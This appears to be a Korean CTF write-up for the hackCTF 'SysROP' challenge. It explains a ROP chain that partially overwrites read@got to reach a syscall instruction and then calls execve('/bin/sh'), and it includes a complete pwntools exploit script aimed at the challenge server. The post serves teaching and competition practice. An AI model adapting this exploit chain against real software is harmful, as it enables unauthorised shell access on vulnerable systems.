hackCTF - SysROP

·2022년 11월 10일
0
post-thumbnail

버퍼는 0x10 만큼의 크기를 가지고 있고, read()함수만 사용한다.

ROP를 사용할 수 있다.
근데 문제에서는 read() 함수만 사용하기 때문에 출력 관련 함수 심볼이 없어 메모리 주소를 leak 해서 libc base를 구할 방법이 없다. 어떻게 해야 할까?

read()함수는 자체적으로 syscall을 사용한다.

위키피디아 말에 따르면,

파일 시스템에 저장된 파일의 데이터에 액세스해야 하는 프로그램은 읽기 시스템 호출을 사용한다.

라고 한다.

진짜로 사용되고 있는 모습을 볼 수가 있다.
이제 이 syscall을 이용하여 쉘을 따보자.

read()함수 안의 syscall은 마지막 하위 1바이트가 \x5e인 특징을 가지고 있다고 한다.
read()함수의 got의 마지막 하위 1바이트를 overwrite 하게 되면
read()함수가 아닌 syscall이 호출이 된다.

핵심 기법을 알아 보았으니 공격 방법을 차근 차근 알아보자.

  1. /bin/sh\x00 문자열을 저장 가능한 구역에 read()함수를 이용하여 저장한다.

read()함수 호출을 위한 pppr 가젯이 있다.
pppr 가젯을 사용하여 read() 함수를 호출하여 /bin/sh\x00 문자열을 저장하자.

.bss 영역은 stdout이 사용중이다.

.data 영역에 문자열을 저장하자.

  1. read()함수의 got 주소 덮어씌우기.
    위에서 말했던 대로 read()함수의 하위 1바이트를 \x5e로 덮어씌워야 read()함수를 호출했을 때 syscall이 호출된다.

  2. syscall에 적절한 인자를 주어 sys_execve를 호출하기.
    이제 read()함수를 호출하면 syscall이 호출될 것이다.

syscall은 rax 레지스터 에 syscall_table을 받아 무엇을 호출할지 결정한다.
rax에 59를 넣으면 SYS_execve가 호출되어 execve가 호출 된다.

syscall을 호출할 수 있는 ppppr 가젯이 존재한다.

이 가젯을 이용하여 rax59 (SYS_execve), rdi.data 주소(/bin/sh\x00), 나머지에 NULL을 넣고 read()를 호출하면 최종적으로 execve("/bin/sh\x00", NULL, NULL)이 호출 되어 쉘을 딸 수 있게 된다.

익스플로잇 코드이다. (python2에서 작성한 코드입니다)

from pwn import *

# context.log_level = "debug"

e = ELF("./sysrop")
l = ELF('libc.so.6')
env = {'LD_PRELOAD' : l.path}

# r = e.process(env=env)
r = remote("ctf.j0n9hyun.xyz",3024)

bin_sh = "/bin/sh\x00"
data_addr = p64(0x00000000601030) # .bss is already used by stdout 
r_got = p64(e.got['read']) # read@got
r_plt = p64(e.plt['read']) # read@plt
main = p64(0x4005f2) # stripped binary -> get main address using by IDA.

pppr = p64(0x00000000004005eb) # rdx -> rdi -> rsi gadget
ppppr = p64(0x00000000004005ea) # rax -> rdx -> rdi -> rsi gadget

# read "/bin/sh" to .data area
payload = "A" * 24
payload += pppr
payload += p64(len(bin_sh))
payload += p64(0)
payload += data_addr
payload += r_plt
payload += main

r.sendline(payload)
r.send(bin_sh)

# overwrite lowest 1 byte read@got to call syscall
payload = "A" * 24
payload += pppr
payload += p64(1)
payload += p64(0)
payload += r_got
payload += r_plt

# call syscall -> execve("/bin/sh", NULL, NULL)
payload += ppppr
payload += p64(59) # syscall id
payload += p64(0)
payload += data_addr
payload += p64(0)
payload += r_plt

r.sendline(payload)
sleep(0.2)

r.sendline('\x5e')
r.interactive()

FLAG

0개의 댓글